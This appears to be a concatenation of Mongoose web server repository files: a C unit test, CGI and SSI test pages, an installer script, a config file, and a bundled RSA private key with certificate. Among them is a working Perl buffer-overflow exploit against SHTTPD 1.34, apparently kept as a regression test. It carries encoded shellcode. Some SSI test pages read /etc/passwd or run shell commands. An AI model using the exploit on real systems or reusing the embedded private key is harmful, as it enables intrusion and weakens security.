const char *var_name, char *buf, size_t buf_len);
enum mg_error_t mg_get_qsvar(const struct mg_request_info *,
const char *var_name, char *buf, size_t buf_len);
/*
* Fetch value of certain cookie variable into the destination buffer.
*
* Destination buffer is guaranteed to be '\0' - terminated. In case of
* failure, dst[0] == '\0'.
*
* Return:
* MG_SUCCESS, MG_NOT_FOUND or MG_BUFFER_TOO_SMALL
*/
enum mg_error_t mg_get_cookie(const struct mg_connection *,
const char *cookie_name, char *buf, size_t buf_len);
/*
* Return Mongoose version.
*/
const char *mg_version(void);
/*
* Print command line usage string.
*/
void mg_show_usage_string(FILE *fp);
#ifdef __cplusplus
}
#endif /* __cplusplus */
#endif /* MONGOOSE_HEADER_INCLUDED */
#!/bin/sh
echo "echoing bad headers: server must report status 500"
exec 1>&2
echo shit!!!
/*
* Copyright (c) 2004-2009 Sergey Lyubka
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
* $Id: embed.c 471 2009-08-30 14:30:21Z valenok $
* Unit test for the mongoose web server. Tests embedded API.
*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "mongoose.h"
#if !defined(LISTENING_PORT)
#define LISTENING_PORT "23456"
#endif /* !LISTENING_PORT */
static const char *standard_reply = "HTTP/1.1 200 OK\r\n"
"Content-Type: text/plain\r\n"
"Connection: close\r\n\r\n";
static void
test_get_var(struct mg_connection *conn, const struct mg_request_info *ri,
void *user_data)
{
char *value;
mg_printf(conn, "%s", standard_reply);
value = mg_get_var(conn, "my_var");
if (value != NULL) {
mg_printf(conn, "Value: [%s]\n", value);
mg_printf(conn, "Value size: [%u]\n", (unsigned) strlen(value));
free(value);
}
}
static void
test_get_header(struct mg_connection *conn, const struct mg_request_info *ri,
void *user_data)
{
const char *value;
mg_printf(conn, "%s", standard_reply);
{
int i;
printf("HTTP headers: %d\n", ri->num_headers);
for (i = 0; i < ri->num_headers; i++)
printf("[%s]: [%s]\n",
ri->http_headers[i].name,
ri->http_headers[i].value);
}
value = mg_get_header(conn, "Host");
if (value != NULL)
mg_printf(conn, "Value: [%s]", value);
}
static void
test_get_ri(struct mg_connection *conn, const struct mg_request_info *ri,
void *user_data)
{
int i;
mg_printf(conn, "%s", standard_reply);
mg_printf(conn, "Method: [%s]\n", ri->request_method);
mg_printf(conn, "URI: [%s]\n", ri->uri);
mg_printf(conn, "HTTP version: [%s]\n", ri->http_version);
for (i = 0; i < ri->num_headers; i++)
mg_printf(conn, "HTTP header [%s]: [%s]\n",
ri->http_headers[i].name,
ri->http_headers[i].value);
mg_printf(conn, "Query string: [%s]\n",
ri->query_string ? ri->query_string: "");
mg_printf(conn, "POST data: [%.*s]\n",
ri->post_data_len, ri->post_data);
mg_printf(conn, "Remote IP: [%lu]\n", ri->remote_ip);
mg_printf(conn, "Remote port: [%d]\n", ri->remote_port);
mg_printf(conn, "Remote user: [%s]\n",
ri->remote_user ? ri->remote_user : "");
}
static void
test_error(struct mg_connection *conn, const struct mg_request_info *ri,
void *user_data)
{
const char *value;
mg_printf(conn, "HTTP/1.1 %d XX\r\n"
"Conntection: close\r\n\r\n", ri->status_code);
mg_printf(conn, "Error: [%d]", ri->status_code);
}
static void
test_user_data(struct mg_connection *conn, const struct mg_request_info *ri,
void *user_data)
{
const char *value;
mg_printf(conn, "%s", standard_reply);
mg_printf(conn, "User data: [%d]", * (int *) user_data);
}
static void
test_protect(struct mg_connection *conn, const struct mg_request_info *ri,
void *user_data)
{
const char *allowed_user = * (char **) user_data;
const char *remote_user = ri->remote_user;
int allowed;
allowed = remote_user != NULL && !strcmp(allowed_user, remote_user);
* (long *) user_data = allowed ? 1 : 0;
}
static void
test_post(struct mg_connection *conn, const struct mg_request_info *ri,
void *user_data)
{
mg_printf(conn, "%s", standard_reply);
mg_write(conn, ri->post_data, ri->post_data_len);
}
static void
test_put(struct mg_connection *conn, const struct mg_request_info *ri,
void *user_data)
{
mg_printf(conn, "%s", standard_reply);
mg_write(conn, ri->post_data, ri->post_data_len);
}
static void
test_remove_callback(struct mg_connection *conn,
const struct mg_request_info *ri, void *user_data)
{
struct mg_context *ctx = (struct mg_context *) user_data;
const char *uri_regex = "/foo/*";
mg_printf(conn, "%sRemoving callbacks bound to [%s]",
standard_reply, uri_regex);
/* Un-bind bound callback */
mg_set_uri_callback(ctx, uri_regex, NULL, NULL);
}
int main(void)
{
int user_data = 1234;
struct mg_context *ctx;
ctx = mg_start();
mg_set_option(ctx, "ports", LISTENING_PORT);
mg_set_uri_callback(ctx, "/test_get_header", &test_get_header, NULL);
mg_set_uri_callback(ctx, "/test_get_var", &test_get_var, NULL);
mg_set_uri_callback(ctx, "/test_get_request_info", &test_get_ri, NULL);
mg_set_uri_callback(ctx, "/foo/*", &test_get_ri, NULL);
mg_set_uri_callback(ctx, "/test_user_data",
&test_user_data, &user_data);
mg_set_uri_callback(ctx, "/p", &test_post, NULL);
mg_set_uri_callback(ctx, "/put", &test_put, NULL);
mg_set_uri_callback(ctx, "/test_remove_callback",
&test_remove_callback, ctx);
mg_set_error_callback(ctx, 404, &test_error, NULL);
mg_set_error_callback(ctx, 0, &test_error, NULL);
mg_set_auth_callback(ctx, "/foo/secret", &test_protect, (void *) "joe");
for (;;)
(void) getchar();
}
#!/usr/bin/env perl
use Cwd;
use CGI;
use vars '%in';
CGI::ReadParse();
print "Content-Type: text/html\r\n\r\n";
print "<pre>\n";
foreach my $key (sort keys %ENV) {
print "$key=$ENV{$key}\n";
}
print "\n";
foreach my $key (sort keys %in) {
print "$key=$in{$key}\n";
}
print "\n";
#sleep 10;
print 'CURRENT_DIR=' . getcwd() . "\n";
print "</pre>\n";
my $stuff = <<EOP ;
<script language="javascript">
function set_val() {
}
</script>
<form method=get>
<input type=hidden name=a>
<input type=text name=_a onChange="javascript: this.form.a.value=this.value;">
<input type=submit value=get>
</form>
<form method=post>
<input type=text name=b>
<input type=submit value=post>
</form>
EOP
system('some shit');
#print STDERR "fuck!!!\n\n";
print $stuff;
#!/usr/bin/perl -w
# SHTTPD Buffer Overflow (POST)
# Tested on SHTTPD 1.34 WinXP SP1 Hebrew
# http://shttpd.sourceforge.net
# Codded By SkOd, 05/10/2006
# ISRAEL
#
# details:
# EAX 00000194 , ECX 009EBCA8 , EDX 00BC488C
# EBX 00000004 , EIP 41414141 , EBP 41414141
# ESI 00BC4358 , EDI 00BCC3CC ASCII "POST"
# ESP 009EFC08 ASCII 41,"AA...AAA"
use IO::Socket;
sub fail(){
syswrite STDOUT, "[-]Connect failed.\n";
exit;
}
sub header()
{
print("##################################\n");
print("SHTTPD (POST) Buffer Overflow.\n");
print("[http://shttpd.sourceforge.net]\n");
print("Codded By SkOd, 05/10/2006\n");
print("##################################\n");
}
if (@ARGV < 1)
{
&header();
print("Usage: Perl shttpd.pl [host]\n");
exit;
}
&header();
$host=$ARGV[0];
$port="80";
$host=~ s/(http:\/\/)//eg;
#win32_exec- CMD=calc Size=160 (metasploit.com)
$shell =
"%33%c9%83%e9%de%d9%ee%d9%74%24%f4%5b%81%73%13%52".
"%ca%2b%e0%83%eb%fc%e2%f4%ae%22%6f%e0%52%ca%a0%a5".
"%6e%41%57%e5%2a%cb%c4%6b%1d%d2%a0%bf%72%cb%c0%a9".
"%d9%fe%a0%e1%bc%fb%eb%79%fe%4e%eb%94%55%0b%e1%ed".
"%53%08%c0%14%69%9e%0f%e4%27%2f%a0%bf%76%cb%c0%86".
"%d9%c6%60%6b%0d%d6%2a%0b%d9%d6%a0%e1%b9%43%77%c4".
"%56%09%1a%20%36%41%6b%d0%d7%0a%53%ec%d9%8a%27%6b".
"%22%d6%86%6b%3a%c2%c0%e9%d9%4a%9b%e0%52%ca%a0%88".
"%0d%a2%b3%1e%d8%c4%7c%1f%b5%a9%4a%8c%31%ca%2b%e0";
$esp="%73%C3%2A%4F"; #[4F2AC373]JMP ESP (kernel32.dll) WinXP SP1(Hebrew)
$buff=("%41"x8).$esp.("%90"x85).$shell; #Shellcode+NOP=245
print length($buff) . "\n";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || &fail();
syswrite STDOUT,"[+]Connected.\n";
print $sock "POST /$buff HTTP/1.1\n";
print $sock "HOST:$host\n\n";
syswrite STDOUT,"[+]Done.\n";
close($sock);
# milw0rm.com [2006-10-05]
#!/bin/sh
echo "Content-Type: text/plain"
echo
echo $QUERY_STRING
simple text file
guest:mydomain.com:485264dcc977a1925370b89d516a1477
Administrator:mydomain.com:e32daa3028eba04dc53e2d781e6fc983
#!/bin/sh
echo "Content-Type: text/plain"
echo
echo "This is shell script CGI."
<html><pre>
ssi_begin
<!--#include file="Makefile" -->
ssi_end
</pre></html>
<html><pre>
ssi_begin
<!--#include virtual="embed.c" -->
ssi_end
</pre></html>
<html><pre>
ssi_begin
<!--#exec "ls -l" -->
ssi_end
</pre></html>
<html><pre>
ssi_begin
<!--#exec "dir /w" -->
ssi_end
</pre></html>
<html><pre>
ssi_begin
<!--#include file="/etc/passwd" -->
ssi_end
</pre></html>
<html><pre>
ssi_begin
<!--#include file="c:\boot.ini" -->
ssi_end
</pre></html>
<html><pre>
ssi_begin
<!--#include "embed.c" -->
ssi_end
</pre></html>
<!--#include "ssi9.shtml" -->
ssi_begin
<!--#include file="Makefile" -->
ssi_end
This diff is collapsed.
#!/usr/bin/env perl
@flags = ("NO_SSI", "NO_SSL", "NDEBUG", "DEBUG", "NO_CGI");
my $num_flags = @flags;
sub fail {
print "FAILED: @_\n";
exit 1;
}
my $platform = $ARGV[0] || "linux";
for (my $i = 0; $i < 2 ** $num_flags; $i++) {
my $bitmask = sprintf("%*.*b", $num_flags, $num_flags, $i);
my @combination = ();
for (my $j = 0; $j < $num_flags; $j++) {
push @combination, $flags[$j] if substr($bitmask, $j, 1);
}
my $defines = join(" ", map { "-D$_" } @combination);
my $cmd = "CFLAGS=\"$defines\" make clean $platform >/dev/null";
system($cmd) == 0 or fail "build failed: $_";
print "Build succeeded, flags: [$defines]\n";
system("perl test/test.pl basic_tests >/dev/null") == 0
or fail "basic tests";
print "Basic tests: OK\n";
}
print "PASS: All builds passed!\n";
For detailed documentation, please visit
http://code.google.com/p/mongoose/wiki/WindowsUsage
Thanks for using Mongoose!
LIBRARY
EXPORTS
mg_start
mg_stop
mg_get_option
mg_set_option
mg_set_uri_callback
mg_set_error_callback
mg_set_auth_callback
mg_set_ssl_password_callback
mg_set_log_callback
mg_write
mg_printf
mg_get_header
mg_authorize
mg_get_var
mg_free
mg_version
mg_show_usage_string
mg_modify_passwords_file
!define VERSION "2.9"
!define MENUDIR "Mongoose web server"
!define SVC "Mongoose ${VERSION}"
OutFile mongoose-${VERSION}.install.exe
Name "Mongoose ${VERSION}"
InstallDir C:\mongoose-${VERSION}
Page components
Page directory
Page instfiles
UninstPage uninstConfirm
UninstPage instfiles
Section "Mongoose files (required)"
SectionIn RO
SetOutPath $INSTDIR
File ..\mongoose.exe
File ..\_mongoose.dll
File ..\_mongoose.lib
File mongoose.conf
File README.txt
File srvany.exe
WriteUninstaller uninstall.exe
SectionEnd
Section "SSL files"
File ssleay32.dll
File libeay32.dll
File ssl_cert.pem
# Following lines add full path to the certificate file in the mongoose.conf
# The -ssl_cert option must go before -ports option.
FileOpen $0 mongoose.conf a
FileRead $0 $1
FileRead $0 $1
FileRead $0 $1
FileRead $0 $1
FileRead $0 $1
FileRead $0 $1
FileWrite $0 "ssl_cert $INSTDIR\ssl_cert.pem"
FileClose $0
SectionEnd
Section "Run Mongoose as service"
ExecWait 'sc create "${SVC}" binpath= $INSTDIR\srvany.exe start= auto depend= Tcpip'
ExecWait 'sc description "${SVC}" "Web server"'
WriteRegStr HKLM "System\CurrentControlSet\Services\${SVC}\Parameters" "Application" "$INSTDIR\mongoose.exe"
WriteRegStr HKLM "System\CurrentControlSet\Services\${SVC}\Parameters" "AppDirectory" "$INSTDIR"
ExecWait 'sc start "${SVC}"'
SectionEnd
Section "Create menu shortcuts"
CreateDirectory "$SMPROGRAMS\${MENUDIR}"
CreateShortCut "$SMPROGRAMS\${MENUDIR}\Start in console.lnk" "$INSTDIR\mongoose.exe"
CreateShortCut "$SMPROGRAMS\${MENUDIR}\Edit config.lnk" "notepad" "$INSTDIR\mongoose.conf"
CreateShortCut "$SMPROGRAMS\${MENUDIR}\Stop service.lnk" "sc" 'stop "Mongoose ${VERSION}"'
CreateShortCut "$SMPROGRAMS\${MENUDIR}\Start service.lnk" "sc" 'start "Mongoose ${VERSION}"'
CreateShortCut "$SMPROGRAMS\${MENUDIR}\uninstall.lnk" "$INSTDIR\uninstall.exe"
SectionEnd
Section "Uninstall"
ExecWait 'sc stop "${SVC}"'
ExecWait 'sc delete "${SVC}"'
Delete "$INSTDIR\*.*"
Delete "$SMPROGRAMS\${MENUDIR}\*.*"
RMDir "$SMPROGRAMS\${MENUDIR}"
RMDir "$INSTDIR"
SectionEnd
# Mongoose web server configuration file.
# Lines starting with '#' and empty lines are ignored.
# For detailed description of every option, visit
# http://code.google.com/p/mongoose/wiki/MongooseManual
root c:\
ports 80,443s
access_log c:\mongoose_access_log.txt
error_log c:\mongoose_error_log.txt
# NOTE FOR PHP USERS:
# Correct PHP binary to use is php-cgi.exe, NOT php.exe!
# cgi_interp c:\php\php-cgi.exe
# cgi_interp c:\perl\bin\perl.exe
# cgi_ext cgi,pl,php
# ssi_ext shtml,shtm
# auth_realm mydomain.com
# dir_list no
# index_files index.html,index.htm,index.php,index.cgi
# aliases /my_d_disk=d:\,/my_e_disk=e:\
# acl -0.0.0.0/0,+10.0.0.0/8,+192.168.0.0/16
# admin_uri /remote_admin
# protect /remote_admin=c:\passwords.txt
# cgi_env FOO=BAR,BAZ=POO
# auth_gpass c:\mongoose_global_web_passwords.txt
# auth_PUT c:\mongoose_put_delete_passwords.txt
# ssl_cert ssl_cert.pem
# max_threads 100
# idle_time 10
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAwONaLOP7EdegqjRuQKSDXzvHmFMZfBufjhELhNjo5KsL4ieH
hMSGCcSV6y32hzhqR5lvTViaQez+xhc58NZRu+OUgEhodRBW/vAOjpz/xdMz5HaC
EhP3E9W1pkitVseS8B5rrgJo1BfCGai1fPav1nutPq2Kj7vMy24+g460Lonf6ln1
di4aTIRtAqXtUU6RFpPJP35PkCXbTK65O8HJSxxt/XtfoezHCU5+UIwmZGYx46UB
Wzg3IfK6bGPSiHU3pdiTol0uMPt/GUK+x4NyZJ4/ImsNAicRwMBdja4ywHKXJehH
gXBthsVIHbL21x+4ibsg9eVM/XioTV6tW3IrdwIDAQABAoIBACFfdLutmkQFBcRN
HAJNNHmmsyr0vcUOVnXTFyYeDXV67qxrYHQlOHe6LqIpKq1Mon7O2kYMnWvooFAP
trOnsS6L+qaTYJdYg2TKjgo4ubw1hZXytyB/mdExuaMSkgMgtpia+tB5lD+V+LxN
x1DesZ+veFMO3Zluyckswt4qM5yVa04YFrt31H0E1rJfIen61lidXIKYmHHWuRxK
SadjFfbcqJ6P9ZF22BOkleg5Fm5NaxJmyQynOWaAkSZa5w1XySFfRjRfsbDr64G6
+LSG8YtRuvfxnvUNhynVPHcpE40eiPo6v8Ho6yZKXpV5klCKciodXAORsswSoGJa
N3nnu/ECgYEA6Yb2rM3QUEPIALdL8f/OzZ1GBSdiQB2WSAxzl9pR/dLF2H+0pitS
to0830mk92ppVmRVD3JGxYDRZQ56tlFXyGaCzJBMRIcsotAhBoNbjV0i9n5bLJYf
BmjU9yvWcgsTt0tr3B0FrtYyp2tCvwHqlxvFpFdUCj2oRw2uGpkhmNkCgYEA03M6
WxFhsix3y6eVCVvShfbLBSOqp8l0qiTEty+dgVQcWN4CO/5eyaZXKxlCG9KMmKxy
Yx+YgxZrDhfaZ0cxhHGPRKEAxM3IKwT2C8/wCaSiLWXZZpTifnSD99vtOt4wEfrG
+AghNd5kamFiM9tU0AyvhJc2vdJFuXrfeC7ntM8CgYBGDA+t4cZcbRhu7ow/OKYF
kulP3nJgHP/Y+LMrl3cEldZ2jEfZmCElVNQvfd2XwTl7injhOzvzPiKRF3jDez7D
g8w0JAxceddvttJRK9GoY4l7OoeKpjUELSnEQkf+yUfOsTbXPXVY7jMfeNL6jE6b
qN7t3qv8rmXtejMBE3G6cQKBgGR5W2BMiRSlxqKx1cKlrApV87BUe1HRCyuR3xuA
d6Item7Lx1oEi7vb242yKdSYnpApWQ06xTh83Y/Ly87JaIEbiM0+h+P8OEIg0F1a
iB+86AcUX1I8KseVy+Np0HbpfwP8GrFfA5DaRPK7pXMopEtby8cAJ1XZZaI1/ZvZ
BebHAoGAcQU9WvCkT+nIp9FpXfBybYUsvgkaizMIqp66/l3GYgYAq8p1VLGvN4v5
ec0dW58SJrCpqsM3NP78DtEzQf9OOsk+FsjBFzDU2RkeUreyt2/nQBj/2mN/+hEy
hYN0Zii2yTb63jGxKY6gH1R/r9dL8kXaJmcZrfSa3AgywnteJWg=
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDBjCCAe4CCQCX05m0b053QzANBgkqhkiG9w0BAQQFADBFMQswCQYDVQQGEwJB
VTETMBEGA1UECBMKU29tZS1TdGF0ZTEhMB8GA1UEChMYSW50ZXJuZXQgV2lkZ2l0
cyBQdHkgTHRkMB4XDTA4MTIwNzEwMjUyMloXDTE4MTIwNTEwMjUyMlowRTELMAkG
A1UEBhMCQVUxEzARBgNVBAgTClNvbWUtU3RhdGUxITAfBgNVBAoTGEludGVybmV0
IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMDjWizj+xHXoKo0bkCkg187x5hTGXwbn44RC4TY6OSrC+Inh4TEhgnElest9oc4
akeZb01YmkHs/sYXOfDWUbvjlIBIaHUQVv7wDo6c/8XTM+R2ghIT9xPVtaZIrVbH
kvAea64CaNQXwhmotXz2r9Z7rT6tio+7zMtuPoOOtC6J3+pZ9XYuGkyEbQKl7VFO
kRaTyT9+T5Al20yuuTvByUscbf17X6HsxwlOflCMJmRmMeOlAVs4NyHyumxj0oh1
N6XYk6JdLjD7fxlCvseDcmSePyJrDQInEcDAXY2uMsBylyXoR4FwbYbFSB2y9tcf
uIm7IPXlTP14qE1erVtyK3cCAwEAATANBgkqhkiG9w0BAQQFAAOCAQEAW4yZdqpB
oIdiuXRosr86Sg9FiMg/cn+2OwQ0QIaA8ZBwKsc+wIIHEgXCS8J6316BGQeUvMD+
plNe0r4GWzzmlDMdobeQ5arPRB89qd9skE6pAMdLg3FyyfEjz3A0VpskolW5VBMr
P5R7uJ1FLgH12RyAjZCWYcCRqEMOffqvyMCH6oAjyDmQOA5IssRKX/HsHntSH/HW
W7slTcP45ty1b44Nq22/ubYk0CJRQgqKOIQ3cLgPomN1jNFQbAbfVTaK1DpEysrQ
5V8a8gNW+3sVZmV6d1Mj3pN2Le62wUKuV2g6BNU7iiwcoY8HI68aRxz2hVMS+t5f
SEGI4JSxV56lYg==
-----END CERTIFICATE-----
-----BEGIN DH PARAMETERS-----
MEYCQQD+ef8hZ4XbdoyIpJyCTF2UrUEfX6mYDvxuS5O1UNYcslUqlj6JkA11e/yS
6DK8Z86W6mSj5CEk4IjbyEOECXH7AgEC
-----END DH PARAMETERS-----
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment